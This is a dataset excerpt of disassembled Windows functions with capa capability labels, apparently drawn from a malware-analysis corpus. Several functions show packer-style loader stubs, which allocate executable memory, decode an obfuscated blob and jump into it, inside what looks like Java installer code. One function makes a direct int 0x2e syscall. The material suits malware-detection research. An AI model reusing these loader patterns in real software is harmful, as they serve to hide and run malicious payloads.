joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412415
Capabilities:
Decode data using base64 via winapi

Disassembly:
push 0x98
mov eax, 0x44fd7c
call fcn.0043c7da
mov eax, dword [ebp + 8]
xor ebx, ebx
mov edi, ecx
mov dword [ebp - 0x84], ebx
mov ecx, dword [edi + 0x10]
mov dword [ebp - 0x88], eax
cmp ecx, ebx
jne 0x41244b
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
jmp 0x412585
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x84], ebx
jb 0x41245b
mov eax, dword [edi]
jmp 0x41245d
mov eax, edi
push ebx
push ebx
lea edx, [ebp - 0x84]
push edx
push ebx
push 1
push ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x4124b6
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
push eax
lea esi, [ebp - 0x48]
call fcn.00440d88
push eax
lea eax, [ebp - 0x80]
push str.string2binary__phase1__failed__sysError
push eax
mov dword [ebp - 4], ebx
call fcn.00440d88
add esp, 0x14
lea esi, [ebp - 0x94]
mov byte [ebp - 4], 1
call fcn.00440d88
push 0x466a80
mov eax, esi
push eax
call fcn.00440d88
mov esi, dword [ebp - 0x84]
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
call fcn.0040d4f9
mov dword [ebp - 4], 2
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
jb 0x4124eb
mov edi, dword [edi]
push ebx
push ebx
lea ecx, [ebp - 0x84]
push ecx
push dword [ebp - 0x98]
push 1
push eax
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x412549
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
push eax
lea esi, [ebp - 0x64]
call fcn.00440d88
push eax
lea eax, [ebp - 0x2c]
push str.string2binary__phase2__failed__sysError
push eax
mov byte [ebp - 4], 3
call fcn.00440d88
add esp, 0x14
lea esi, [ebp - 0xa4]
mov byte [ebp - 4], 4
call fcn.00440d88
push 0x466a80
mov eax, esi
jmp 0x4124b0
mov esi, dword [ebp - 0x84]
lea eax, [ebp - 0x98]
call fcn.0040d4f9
mov eax, dword [ebp - 0x88]
lea edi, [ebp - 0x98]
call fcn.004126ab
cmp dword [ebp - 0x98], ebx
je 0x41257f
push dword [ebp - 0x98]
call fcn.00440d88
pop ecx
mov eax, dword [ebp - 0x88]
call fcn.0043c85d
ret
Function at 0x413970
Capabilities:
Create process on windows

Disassembly:
push 0x2c
mov eax, 0x451ab4
call fcn.0043c7da
cmp dword [0x475304], 1
mov ebx, ecx
jg 0x4139cb
lea eax, [ebp - 0x30]
push str.Executor.exec__:
lea edi, [ebx + 0x38]
push eax
call fcn.00410c44
pop ecx
pop ecx
and dword [ebp - 4], 0
push str.Executor::startExecution
push 0x93
push str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_Executor.cpp
push 1
mov edx, eax
mov ecx, 0x475304
call fcn.0041299a
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x30]
call fcn.00405e00
push 0x44
pop esi
push esi
lea edi, [ebx + 0x7c]
push 0
push edi
call fcn.004360a0
add esp, 0xc
push 0x10
lea eax, [ebx + 0x6c]
push 0
push eax
mov dword [edi], esi
call fcn.004360a0
add esp, 0xc
cmp dword [ebx + 0xc0], 1
jne 0x413a0f
or dword [ebx + 0xa8], 1
xor eax, eax
mov word [ebx + 0xac], ax
mov dword [ebx + 0x60], 0x8000000
cmp byte [ebx + 0xcd], 0
je 0x413a1f
mov esi, ebx
call fcn.00413eb0
lea eax, [ebx + 0x38]
mov edx, dword [eax + 0x14]
cmp edx, 0x10
jb 0x413a2e
mov esi, dword [eax]
jmp 0x413a30
mov esi, eax
mov ecx, dword [eax + 0x10]
add ecx, esi
cmp edx, 0x10
jb 0x413a3c
mov eax, dword [eax]
push dword [ebp - 0x35]
xor edx, edx
push ecx
push eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
call fcn.0040fc91
mov dword [ebp - 4], 1
lea eax, [ebp - 0x31]
lea esi, [ebp - 0x24]
mov byte [ebp - 0x31], 0
call fcn.0040a801
cmp dword [ebx + 0x14], 0x10
jb 0x413a75
mov ecx, dword [ebx]
jmp 0x413a77
mov ecx, ebx
lea eax, [ebx + 0x6c]
push eax
push edi
push dword [ebx + 0x68]
push dword [ebx + 0x64]
push dword [ebx + 0x60]
push dword [ebx + 0x5c]
push dword [ebx + 0x58]
push dword [ebx + 0x54]
push dword [ebp - 0x24]
push ecx
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
setne bl
cmp dword [ebp - 0x24], 0
je 0x413aac
push dword [ebp - 0x24]
call fcn.00440d88
pop ecx
mov al, bl
call fcn.0043c85d
ret
Function at 0x4196c8
Capabilities:
Get common file path

Disassembly:
push 0x38
mov eax, 0x44f396
call fcn.0043c7da
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x30], eax
mov esi, 0x104
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
call fcn.004140ac
mov dword [ebp - 4], edi
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
mov ebx, dword [sym.imp.kernel32.dll_GetTempPathA]
push esi
sub edi, esi
push edi
call ebx
cmp eax, edi
jbe 0x419724
mov esi, eax
lea eax, [ebp - 0x40]
call fcn.004140ac
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
push esi
sub eax, esi
push eax
call ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405b78
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0041fc9f
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00405e00
test esi, esi
je 0x419753
push esi
call fcn.00440d88
pop ecx
mov eax, dword [ebp - 0x30]
call fcn.0043c85d
ret

Function at 0x419ef4
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x44ebf7
call fcn.0043c771
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.00440d88
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00440d88
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.00440d88
mov eax, esi
mov dword [esp], 0x409
call fcn.00440d88
pop ecx
mov eax, esi
call fcn.0043c849
ret
Function at 0x41fd59
Capabilities:
Get file version info

Disassembly:
push 0xf0
mov eax, 0x4529a6
call fcn.0043c7da
mov eax, dword [ebp + 8]
push eax
mov esi, ebx
mov dword [ebp - 0x54], ebx
call fcn.00406f18
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 1
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x40], esi
jb 0x41fd95
mov eax, dword [ebx]
jmp 0x41fd97
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
cmp eax, esi
jne 0x41fe4f
push str.System_error
mov dword [ebp - 0x4c], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x461
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406f18
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 2
call fcn.00409bf6
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfoSize_
push eax
mov byte [ebp - 4], 3
call fcn.0040bad0
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 4
call fcn.0040b809
mov esi, eax
push 0x46140c
push esi
call fcn.0040bad0
pop ecx
pop ecx
mov ecx, dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
push esi
lea edi, [ebp - 0x60]
call fcn.0042503b
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
push ecx
lea esi, [ebp - 0x4c]
mov ecx, eax
call fcn.00419a34
lea eax, [ebp - 0x3c]
mov dword [esp], 0x466c7c
push eax
call fcn.00440d88
mov esi, eax
lea eax, [ebx + 0x1c]
call fcn.0040d4f9
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x20]
sub eax, ecx
cmp dword [ebx + 0x14], 0x10
jb 0x41fe6b
mov edx, dword [ebx]
jmp 0x41fe6d
mov edx, ebx
mov edi, dword [sym.imp.version.dll_GetFileVersionInfoA]
push ecx
push eax
push dword [ebp - 0x40]
push edx
call edi
test eax, eax
jne 0x41ff0b
push str.System_error
mov dword [ebp - 0x4c], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x46a
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.00406f18
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 6
call fcn.00409bf6
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfo_
push eax
mov byte [ebp - 4], 7
call fcn.0040bad0
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 8
call fcn.0040b809
mov esi, eax
push 0x46140c
push esi
call fcn.0040bad0
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x60]
call fcn.0042503b
mov byte [ebp - 4], 9
jmp 0x41fe31
mov eax, ebx
call fcn.0043c85d
ret 4
Function at 0x425c35
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x120
mov eax, 0x452cd2
call fcn.0043c7da
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], eax
mov eax, esi
call fcn.00425c17
mov edi, eax
test edi, edi
jne 0x425ced
push str.cannot_find_resource
lea ecx, [ebp - 0x30]
call fcn.00405b78
and dword [ebp - 4], edi
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.00425b62
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 1
call fcn.004151a7
push str.System_error
mov byte [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [sym.imp.kernel32.dll_FindResourceA]
push eax
mov eax, esi
push eax
lea edi, [ebp - 0x90]
call fcn.0042503b
mov byte [ebp - 4], 3
mov dword [ebp - 0x84], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x41
lea ecx, [ebp - 0x58]
push ecx
lea esi, [ebp - 0x84]
mov ecx, eax
call fcn.00419a34
lea eax, [ebp - 0x58]
mov dword [esp], 0x466c7c
push eax
call fcn.00440d88
mov ebx, dword [sym.imp.kernel32.dll_LoadResource]
push edi
push dword [esi + 0x40]
call ebx
test eax, eax
jne 0x425d71
push str.cannot_load_resource
lea ecx, [ebp - 0x30]
call fcn.00405b78
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.00425b62
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 5
call fcn.004151a7
push str.System_error
mov byte [ebp - 4], 6
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov eax, esi
push eax
mov ecx, ebx
lea edi, [ebp - 0x90]
call fcn.0042503b
mov byte [ebp - 4], 7
mov dword [ebp - 0x84], str.c:_workspace_8_2_build_windows_i586_cygwin_jdk8u181_11358_install_src_windows_common_Resources.cpp
mov dword [ebp - 0x80], str.Resource::getPtr
mov dword [ebp - 0x7c], 0x46
jmp 0x425ccc
push eax
call dword [sym.imp.kernel32.dll_LockResource]
cmp dword [esi + 0x3c], 6
mov ebx, eax
jne 0x425da1
mov esi, dword [esi + 0x1c]
and esi, 0xf
jbe 0x425d92
dec esi
movzx ecx, word [eax]
lea eax, [eax + ecx*2 + 2]
jne 0x425d88
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
add ecx, ecx
mov dword [edx], ecx
lea ebx, [eax + 2]
jmp 0x425db0
push edi
push dword [esi + 0x40]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, ebx
call fcn.0043c85d
ret 4
Function at 0x42e890
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x47162c]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x450872
call fcn.0043c771
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x42e8e6
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00440d88
push 0x466f8c
mov eax, esi
push eax
call fcn.00440d88
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00412f5a
push 0x462d7c
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00440d88
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0042d5db
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.0041302c
push 1
lea esi, [ebp]
call fcn.0041302c
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.00434c4e
add ebp, 0x244
leave
ret

Function at 0x434c4e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47162c]
jne 0x434c58
repz ret
jmp fcn.0043ef82

Function at 0x440d88
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x440d97
pop dword [ebp - 0x34]
mov eax, 0x440d97
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x454da
push 0
mov eax, 0x7ec11560
sub eax, 0x7e7ba4ac
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0xb3962758
add ecx, 0x4c6a1f3d
mov edx, eax
mov ebx, 0xbbeeead8
add ebx, 0x445a8328
add ebx, dword [ebp - 0x34]
mov edi, 0x78a694e3
add edi, 0x51a39762
add dword [ebp - 8], 0xfe745094
mov esi, dword [ebx]
xor dword [ebp - 0x2c], 0x898fd306
add esi, edi
xor dword [ebp - 0x1c], 0xdcb693ed
mov dword [edx], esi
sub dword [ebp - 0x24], 0xcfece3c2
add edx, 0x88650951
add edx, 0x779af6b3
add ebx, 4
loop 0x440df1
add eax, 0x79d898a2
sub eax, 0x79d78b7b
xor ebx, ebx
add ebx, eax
add eax, 0x9e3507d8
sub eax, 0x9e3507d3
mov ecx, 0x167c9e4e
add ecx, 0xe9c361b2
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x44a8ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x47162c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004414f2
and dword [ebp - 0x14], 0
cmp dword [0x474ff8], 0
mov dword [ebp - 0x18], eax
jne 0x44a95f
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x44aa07
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x44aa07
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x474ff8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x474ffc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x475000], eax
call edi
push eax
call esi
mov dword [0x475008], eax
test eax, eax
je 0x44a95f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x475004], eax
mov eax, dword [0x475004]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x44a9b8
cmp dword [0x475008], ecx
je 0x44a9b8
push eax
call esi
push dword [0x475008]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x44a9b8
test ebx, ebx
je 0x44a9b8
call edi
test eax, eax
je 0x44a9af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x44a9af
test byte [ebp - 8], 1
jne 0x44a9b8
or dword [ebp + 0x10], 0x200000
jmp 0x44a9eb
mov eax, dword [0x474ffc]
cmp eax, dword [ebp - 0x18]
je 0x44a9eb
push eax
call esi
test eax, eax
je 0x44a9eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x44a9eb
mov eax, dword [0x475000]
cmp eax, dword [ebp - 0x18]
je 0x44a9eb
push eax
call esi
test eax, eax
je 0x44a9eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x474ff8]
call esi
test eax, eax
je 0x44aa07
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x44aa09
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434c4e
leave
ret
Function at 0x41500b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x41501a
pop dword [ebp - 0x40]
mov eax, 0x5505d2e6
add eax, 0xab3b7d34
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x415ef
push 0
mov eax, 0xad4394d6
sub eax, 0xad01a2c6
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xfdc98cb1
add ecx, 0x236c819
mov ebx, eax
mov esi, 0x438200
add esi, dword [ebp - 0x40]
mov edi, 0xdbe7ffaf
sub edi, 0xa283a424
xor dword [ebp - 0x20], ecx
mov edx, dword [esi]
sub edx, edi
mov dword [ebx], edx
sub dword [ebp - 0x10], 0x9d6200a7
add ebx, 4
add esi, 0x1d163b9c
sub esi, 0x1d163b98
loop 0x415073
add eax, 0x145fb
mov ebx, eax
add eax, 0xd9edbade
add eax, 0x26124527
mov ecx, 0xf9ab271c
add ecx, 0x694d8e4
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x416c50
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x1c], 0
jle 0x416cac
mov edx, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 4], ebx
mov dword [esp], ebp
movzx ecx, word [edx]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
movzx edi, cx
movzx esi, byte [eax + ebx]
mov ecx, edi
xor edi, esi
inc eax
and edi, 0xff
shr ecx, 8
xor ecx, dword [edi*4 + str._t__adjust_type:__d_n]
mov word [edx], cx
cmp eax, ebp
jl 0x416c7a
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 8]
mov ebx, dword [esp + 4]
mov ebp, dword [esp]
add esp, 0x10
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40b252
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40b261
pop dword [ebp - 0x4c]
mov eax, 0xd83903dd
add eax, 0x2807ae84
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3b523
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4fff
mov edi, eax
mov edx, 0x92701885
sub edx, 0x922edcc1
add edx, dword [ebp - 0x4c]
mov esi, 0x1fcffbc7
sub esi, 0x218c71c4
mov dword [ebp - 0x24], 0xf64a6122
mov ebx, dword [edx]
add ebx, esi
xor dword [ebp - 0x44], ecx
mov dword [edi], ebx
add edi, 0x7b21d470
sub edi, 0x7b21d46c
add edx, 0x9f546a85
add edx, 0x60ab957f
loop 0x40b2b5
add eax, 0x8e9ff3a
add eax, 0xf7173395
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb513ac6c
add ecx, 0x4b2c5394
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0xd69370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xd6938e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xd92074
push ecx
mov edi, eax
call fcn.00d7d198
mov esi, eax
add esp, 8
test esi, esi
jne 0xd693cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00d7d02e
push esi
call fcn.00d7cfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xd6c850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xd6c8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xd97720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd6c8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00d7d1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xd6c8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xd97720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd6c92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00d7e082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xd6c957
mov word [eax], si
add eax, 2
push eax
call fcn.00d7e030
add esp, 4
jmp 0xd6c959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xd6c8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xd6c8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xd6cff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xd6d080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xd6d0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xd92458
push ecx
call fcn.00d7d1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00d7d1e1
add esp, 0x10
jmp 0xd6d0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00d7d20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00d7cdff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00d6d050
mov eax, dword [0xd97728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xd6d13b
push esi
call fcn.00d6cfb0
add esp, 4
mov dword [0xd97728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xd6d14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00d6cff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xd70440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xd704b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xd7048e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xd70471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xd7047e
add edx, ecx
cmp ebx, edx
jb 0xd7048a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xd70467
xor ecx, ecx
jmp 0xd704a2
test eax, eax
jne 0xd70492
xor ecx, ecx
jmp 0xd704a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00d703c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xd708f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xd70921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xd70946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xd7096e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xd70993
push ecx
push esi
call fcn.00d704c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret